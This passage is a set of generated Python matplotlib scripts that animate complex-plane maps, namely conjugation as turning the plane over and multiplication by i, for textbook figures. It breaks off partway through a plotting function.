LINES = [(z, c) for z, c in LINES if not any(np.min(np.abs(z - q)) < 1e-9 for q in AVOID)]
EXTRA = [(eval("lambda u: " + ex), col) for ex, col in EXTRAS]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))


def image(z, s):
    return cut(Hs(z, s), R)


pts = np.concatenate([image(z, s) for z, _ in LINES for s in np.linspace(0, 1, 13)]
                     + [image(g(u), s) for g, _ in EXTRA for s in np.linspace(0, 1, 13)])
pts = pts[np.isfinite(pts)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = 0.55 * max(X1 - X0, Y1 - Y0)            # a square box around everything
    cx, cy = (X0 + X1) / 2, (Y0 + Y1) / 2
    X0, X1, Y0, Y1 = cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(6, 6.6))
ax = fig.add_axes([0.08, 0.05, 0.88, 0.80])
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1); ax.set_aspect("equal", adjustable="box")
ax.axhline(0, color="0.82", lw=0.8); ax.axvline(0, color="0.82", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    q = cut(z, R)
    ax.plot(q.real, q.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
extras = [ax.plot([], [], color=c, lw=2, ls="-" if c in ("k", "black") else "--")[0] for _, c in EXTRA]
dot, = ax.plot([], [], "o", color="k", ms=6)
two = "\n" in SUB
title = fig.text(0.5, 0.955 if two else 0.945, "", ha="center", fontsize=14)
fig.text(0.5, 0.905 if two else 0.905, SUB, ha="center", va="center" if two else "baseline",
         fontsize=10 if two else 10.5, color="0.35", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    for (z, _), c in zip(LINES, curves):
        p = image(z, s)
        c.set_data(p.real, p.imag)
    for (g, _), c in zip(EXTRA, extras):
        p = image(g(u), s)
        c.set_data(p.real, p.imag)
    if TRACK is not None:
        p = Hs(np.array([TRACK]), s)[0]
        dot.set_data([p.real], [p.imag])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""Conjugation $z\mapsto\bar z$ -- animation B (path of maps).
Generated by gen_anims.py from specs.py; notes: Section 1.3 plate, p. 5-6 (ch01-numbers.tex:285); Remark 1.20(d), p. 10 (ch01:675); Section 2.1, p. 13 (ch02-plane.tex:26); Remark 14.11, p. 73 (ch14:317)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: flip(z, s)
R = 50.0                      # curves are cut beyond this radius
LIMITS = (-1.6, 1.6, -1.6, 1.6)
SUB = 'reflection in the real axis:\nthe plane must be turned over, like a page -- no path of one-to-one maps of the plane onto itself does it'
TITLE = '$\\mathrm{turn\\ the\\ plane\\ over},\\quad s=%.2f$'
GRIDKIND, GRIDARGS = 'cart', (-1, 1, -1, 1, 9, 9)
AVOID = []
EXTRAS = [('poly([-0.2-0.5j, -0.2+0.5j, 0.3+0.5j, -0.2+0.5j, -0.2+0.1j, 0.15+0.1j], u)', 'k')]
TRACK = None

u = np.linspace(0, 1, 301)
LINES = []                                   # (points z(u), colour)
if GRIDKIND == "cart":
    x0, x1, y0, y1, nx, ny = GRIDARGS
    for c in np.linspace(x0, x1, nx):
        LINES.append((c + 1j * (y0 + (y1 - y0) * u), "tab:blue"))
    for c in np.linspace(y0, y1, ny):
        LINES.append(((x0 + (x1 - x0) * u) + 1j * c, "tab:red"))
elif GRIDKIND == "polar":                    # circles blue, rays red
    r0, r1, nr, t0, t1, nt = GRIDARGS
    for r in np.linspace(r0, r1, nr):
        LINES.append((r * np.exp(1j * (t0 + (t1 - t0) * u)), "tab:blue"))
    for t in np.linspace(t0, t1, nt, endpoint=(t1 - t0 < 2 * np.pi - 0.01)):
        LINES.append(((r0 + (r1 - r0) * u) * np.exp(1j * t), "tab:red"))
else:                                        # "curves": a list of (expression in u, colour)
    LINES = [(eval("lambda u: " + ex)(u), col) for ex, col in GRIDARGS]
LINES = [(z, c) for z, c in LINES if not any(np.min(np.abs(z - q)) < 1e-9 for q in AVOID)]
EXTRA = [(eval("lambda u: " + ex), col) for ex, col in EXTRAS]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))


def image(z, s):
    return cut(Hs(z, s), R)


pts = np.concatenate([image(z, s) for z, _ in LINES for s in np.linspace(0, 1, 13)]
                     + [image(g(u), s) for g, _ in EXTRA for s in np.linspace(0, 1, 13)])
pts = pts[np.isfinite(pts)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = 0.55 * max(X1 - X0, Y1 - Y0)            # a square box around everything
    cx, cy = (X0 + X1) / 2, (Y0 + Y1) / 2
    X0, X1, Y0, Y1 = cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(6, 6.6))
ax = fig.add_axes([0.08, 0.05, 0.88, 0.80])
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1); ax.set_aspect("equal", adjustable="box")
ax.axhline(0, color="0.82", lw=0.8); ax.axvline(0, color="0.82", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    q = cut(z, R)
    ax.plot(q.real, q.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
extras = [ax.plot([], [], color=c, lw=2, ls="-" if c in ("k", "black") else "--")[0] for _, c in EXTRA]
dot, = ax.plot([], [], "o", color="k", ms=6)
two = "\n" in SUB
title = fig.text(0.5, 0.955 if two else 0.945, "", ha="center", fontsize=14)
fig.text(0.5, 0.905 if two else 0.905, SUB, ha="center", va="center" if two else "baseline",
         fontsize=10 if two else 10.5, color="0.35", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    for (z, _), c in zip(LINES, curves):
        p = image(z, s)
        c.set_data(p.real, p.imag)
    for (g, _), c in zip(EXTRA, extras):
        p = image(g(u), s)
        c.set_data(p.real, p.imag)
    if TRACK is not None:
        p = Hs(np.array([TRACK]), s)[0]
        dot.set_data([p.real], [p.imag])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""Conjugation $z\mapsto\bar z$ -- animation C (tiles).
Generated by gen_anims.py from specs.py; notes: Section 1.3 plate, p. 5-6 (ch01-numbers.tex:285); Remark 1.20(d), p. 10 (ch01:675); Section 2.1, p. 13 (ch02-plane.tex:26); Remark 14.11, p. 73 (ch14:317)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: flip(z, s)
R = 50.0                      # curves are cut beyond this radius
LIMITS = (-1.6, 1.6, -1.6, 1.6)
SUB = 'conjugation reverses orientation: the coloured tiles end up mirrored'
TITLE = '$\\mathrm{turn\\ the\\ plane\\ over},\\quad s=%.2f$'
TILEKIND, TILEARGS = 'cart', (-1, 1, -1, 1, 4, 4)
HILITE = [9, 14]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))
E = 10
ee = np.linspace(0, 1, E, endpoint=False)
TL = []
if TILEKIND == "cart":
    x0, x1, y0, y1, n, m = TILEARGS
    hx, hy = (x1 - x0) / n, (y1 - y0) / m
    for j in range(m):
        for i in range(n):
            a, b = x0 + i * hx, y0 + j * hy
            TL.append(np.concatenate([a + hx * ee + 1j * b, a + hx + 1j * (b + hy * ee),
                                      a + hx * (1 - ee) + 1j * (b + hy), a + 1j * (b + hy * (1 - ee))]))
else:
    r0, r1, n, t0, t1, m = TILEARGS
    hr, ht = (r1 - r0) / n, (t1 - t0) / m
    for j in range(m):
        for i in range(n):
            a, b = r0 + i * hr, t0 + j * ht
            TL.append(np.concatenate([(a + hr * ee) * np.exp(1j * b), (a + hr) * np.exp(1j * (b + ht * ee)),
                                      (a + hr * (1 - ee)) * np.exp(1j * (b + ht)), a * np.exp(1j * (b + ht * (1 - ee)))]))
PALE = ["#dfe8f5", "#f6e3d3"]
COL = [PALE[(i + j) % 2] for j in range(m) for i in range(n)]
for k, c in zip(HILITE, ["#e76f51", "#2a9d8f"]):
    COL[k] = c


def shown(p):                                   # tiles that pass near infinity are hidden
    return np.all(np.isfinite(p)) and np.max(np.abs(p)) < R


allp = np.concatenate([Hs(t, s) for t in TL for s in np.linspace(0, 1, 11)])
allp = allp[np.isfinite(allp) & (np.abs(allp) < R)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = allp.real.min(), allp.real.max(), allp.imag.min(), allp.imag.max()
    mg = 0.05 * max(X1 - X0, Y1 - Y0)
    X0, X1, Y0, Y1 = X0 - mg, X1 + mg, Y0 - mg, Y1 + mg
Z = np.concatenate(TL)
zx0, zx1, zy0, zy1 = Z.real.min(), Z.real.max(), Z.imag.min(), Z.imag.max()
mz = 0.05 * max(zx1 - zx0, zy1 - zy0)

fig = plt.figure(figsize=(10, 5.4))
axz = fig.add_axes([0.05, 0.08, 0.34, 0.72])
axw = fig.add_axes([0.45, 0.08, 0.52, 0.72])
axz.set_xlim(zx0 - mz, zx1 + mz); axz.set_ylim(zy0 - mz, zy1 + mz)
axw.set_xlim(X0, X1); axw.set_ylim(Y0, Y1)
for a in (axz, axw):
    a.set_aspect("equal", adjustable="box"); a.tick_params(labelsize=9)
    a.axhline(0, color="0.82", lw=0.8); a.axvline(0, color="0.82", lw=0.8)
axz.add_collection(PolyCollection([np.c_[t.real, t.imag] for t in TL], facecolors=COL,
                                  edgecolors="white", linewidths=0.8))
axz.set_title(r"$z$-plane", fontsize=13)
tw = PolyCollection([], edgecolors="white", linewidths=0.8)
axw.add_collection(tw)
title = axw.set_title("", fontsize=13)
fig.text(0.5, 0.925, SUB, ha="center", va="center", fontsize=11 if "\n" in SUB else 11.5, color="0.3", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    P = [Hs(t, s) for t in TL]
    keep = [i for i, p in enumerate(P) if shown(p)]
    tw.set_verts([np.c_[P[i].real, P[i].imag] for i in keep])
    tw.set_facecolors([COL[i] for i in keep])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""Multiplication by $i$ -- animation A (straight-line slide).
Generated by gen_anims.py from specs.py; notes: Section 1.2 plate, p. 4-5 (ch01:450); Example 3.12, p. 20 (ch03-polar.tex:305)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: (1 - s) * z + s * (1j*z)
R = 50.0                      # curves are cut beyond this radius
LIMITS = (-1.6, 1.6, -1.6, 1.6)
SUB = 'every point moves in a straight line from $z$ to $iz$'
TITLE = '$w=(1-s)\\,z+s\\,iz,\\quad s=%.2f$'
GRIDKIND, GRIDARGS = 'cart', (-1, 1, -1, 1, 9, 9)
AVOID = []
EXTRAS = [('poly([-0.2-0.5j, -0.2+0.5j, 0.3+0.5j, -0.2+0.5j, -0.2+0.1j, 0.15+0.1j], u)', 'k')]
TRACK = None

u = np.linspace(0, 1, 301)
LINES = []                                   # (points z(u), colour)
if GRIDKIND == "cart":
    x0, x1, y0, y1, nx, ny = GRIDARGS
    for c in np.linspace(x0, x1, nx):
        LINES.append((c + 1j * (y0 + (y1 - y0) * u), "tab:blue"))
    for c in np.linspace(y0, y1, ny):
        LINES.append(((x0 + (x1 - x0) * u) + 1j * c, "tab:red"))
elif GRIDKIND == "polar":                    # circles blue, rays red
    r0, r1, nr, t0, t1, nt = GRIDARGS
    for r in np.linspace(r0, r1, nr):
        LINES.append((r * np.exp(1j * (t0 + (t1 - t0) * u)), "tab:blue"))
    for t in np.linspace(t0, t1, nt, endpoint=(t1 - t0 < 2 * np.pi - 0.01)):
        LINES.append(((r0 + (r1 - r0) * u) * np.exp(1j * t), "tab:red"))
else:                                        # "curves": a list of (expression in u, colour)
    LINES = [(eval("lambda u: " + ex)(u), col) for ex, col in GRIDARGS]
LINES = [(z, c) for z, c in LINES if not any(np.min(np.abs(z - q)) < 1e-9 for q in AVOID)]
EXTRA = [(eval("lambda u: " + ex), col) for ex, col in EXTRAS]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))


def image(z, s):
    return cut(Hs(z, s), R)


pts = np.concatenate([image(z, s) for z, _ in LINES for s in np.linspace(0, 1, 13)]
                     + [image(g(u), s) for g, _ in EXTRA for s in np.linspace(0, 1, 13)])
pts = pts[np.isfinite(pts)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = 0.55 * max(X1 - X0, Y1 - Y0)            # a square box around everything
    cx, cy = (X0 + X1) / 2, (Y0 + Y1) / 2
    X0, X1, Y0, Y1 = cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(6, 6.6))
ax = fig.add_axes([0.08, 0.05, 0.88, 0.80])
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1); ax.set_aspect("equal", adjustable="box")
ax.axhline(0, color="0.82", lw=0.8); ax.axvline(0, color="0.82", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    q = cut(z, R)
    ax.plot(q.real, q.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
extras = [ax.plot([], [], color=c, lw=2, ls="-" if c in ("k", "black") else "--")[0] for _, c in EXTRA]
dot, = ax.plot([], [], "o", color="k", ms=6)
two = "\n" in SUB
title = fig.text(0.5, 0.955 if two else 0.945, "", ha="center", fontsize=14)
fig.text(0.5, 0.905 if two else 0.905, SUB, ha="center", va="center" if two else "baseline",
         fontsize=10 if two else 10.5, color="0.35", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    for (z, _), c in zip(LINES, curves):
        p = image(z, s)
        c.set_data(p.real, p.imag)
    for (g, _), c in zip(EXTRA, extras):
        p = image(g(u), s)
        c.set_data(p.real, p.imag)
    if TRACK is not None:
        p = Hs(np.array([TRACK]), s)[0]
        dot.set_data([p.real], [p.imag])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""Multiplication by $i$ -- animation B (path of maps).
Generated by gen_anims.py from specs.py; notes: Section 1.2 plate, p. 4-5 (ch01:450); Example 3.12, p. 20 (ch03-polar.tex:305)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: np.exp(1j*pi/2*s)*z
R = 50.0                      # curves are cut beyond this radius
LIMITS = (-1.6, 1.6, -1.6, 1.6)
SUB = 'a quarter turn counterclockwise; four of them give $i^4=1$'
TITLE = '$w=e^{i\\pi s/2}z,\\quad s=%.2f$'
GRIDKIND, GRIDARGS = 'cart', (-1, 1, -1, 1, 9, 9)
AVOID = []
EXTRAS = [('poly([-0.2-0.5j, -0.2+0.5j, 0.3+0.5j, -0.2+0.5j, -0.2+0.1j, 0.15+0.1j], u)', 'k')]
TRACK = None

u = np.linspace(0, 1, 301)
LINES = []                                   # (points z(u), colour)
if GRIDKIND == "cart":
    x0, x1, y0, y1, nx, ny = GRIDARGS
    for c in np.linspace(x0, x1, nx):
        LINES.append((c + 1j * (y0 + (y1 - y0) * u), "tab:blue"))
    for c in np.linspace(y0, y1, ny):
        LINES.append(((x0 + (x1 - x0) * u) + 1j * c, "tab:red"))
elif GRIDKIND == "polar":                    # circles blue, rays red
    r0, r1, nr, t0, t1, nt = GRIDARGS
    for r in np.linspace(r0, r1, nr):
        LINES.append((r * np.exp(1j * (t0 + (t1 - t0) * u)), "tab:blue"))
    for t in np.linspace(t0, t1, nt, endpoint=(t1 - t0 < 2 * np.pi - 0.01)):
        LINES.append(((r0 + (r1 - r0) * u) * np.exp(1j * t), "tab:red"))
else:                                        # "curves": a list of (expression in u, colour)
    LINES = [(eval("lambda u: " + ex)(u), col) for ex, col in GRIDARGS]
LINES = [(z, c) for z, c in LINES if not any(np.min(np.abs(z - q)) < 1e-9 for q in AVOID)]
EXTRA = [(eval("lambda u: " + ex), col) for ex, col in EXTRAS]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))


def image(z, s):
    return cut(Hs(z, s), R)


pts = np.concatenate([image(z, s) for z, _ in LINES for s in np.linspace(0, 1, 13)]
                     + [image(g(u), s) for g, _ in EXTRA for s in np.linspace(0, 1, 13)])
pts = pts[np.isfinite(pts)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = 0.55 * max(X1 - X0, Y1 - Y0)            # a square box around everything
    cx, cy = (X0 + X1) / 2, (Y0 + Y1) / 2
    X0, X1, Y0, Y1 = cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(6, 6.6))
ax = fig.add_axes([0.08, 0.05, 0.88, 0.80])
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1); ax.set_aspect("equal", adjustable="box")
ax.axhline(0, color="0.82", lw=0.8); ax.axvline(0, color="0.82", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    q = cut(z, R)
    ax.plot(q.real, q.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
extras = [ax.plot([], [], color=c, lw=2, ls="-" if c in ("k", "black") else "--")[0] for _, c in EXTRA]
dot, = ax.plot([], [], "o", color="k", ms=6)
two = "\n" in SUB
title = fig.text(0.5, 0.955 if two else 0.945, "", ha="center", fontsize=14)
fig.text(0.5, 0.905 if two else 0.905, SUB, ha="center", va="center" if two else "baseline",
         fontsize=10 if two else 10.5, color="0.35", linespacing=1.5)


def frame(k):
